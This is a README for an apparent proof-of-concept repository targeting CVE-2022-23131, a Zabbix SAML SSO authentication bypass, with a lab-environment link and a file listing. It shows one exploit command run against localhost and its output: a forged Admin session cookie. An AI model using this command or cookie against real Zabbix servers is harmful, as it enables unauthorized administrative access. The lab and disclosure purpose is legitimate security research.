# Zabbix SAML SSO Login Bypass Vulnerability CVE-2022-23131
Enviroment and Poc of CVE-2022-23131
## Enviroment
You can create a Zabbix with SAML SSO follow the step in [Zabbix Enviroment for CVE-2022-23131](https://github.com/trganda/dockerenv/tree/master/vuln/zabbix/CVE-2022-23131).
## Poc
The Poc was modified from [jweny](https://github.com/jweny/zabbix-saml-bypass-exp)
Usage:
```bash
go run poc.go check -t http://localhost:8080 -u Admin
[INFO] 2022/02/24 19:49 vul exist! target: http://localhost:8080, cookie: eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiYmYyMzAxMWU1YWMyOWE1MjFlN2E1ZDZjMTAwZDQ2NjAiLCJzaWduIjoiaytKblhjVjlhQmJRa3NJc21oMVRwVEhrMGFDSTJOYkM1VGNTU1doczQ3YVIrNmpWZ1BKOGw5cWZhZlRmcjA3VGVKalNZcW5kZWRPWEtleklmS0Fjb3c9PSJ9
```
[4.0K] /data/pocs/ad3586d4be24ed5ddb41867e06315d931086e10a
├── [ 845] go.mod
├── [4.8K] go.sum
├── [ 11K] LICENSE
├── [2.9K] poc.go
└── [ 783] README.md
0 directories, 5 files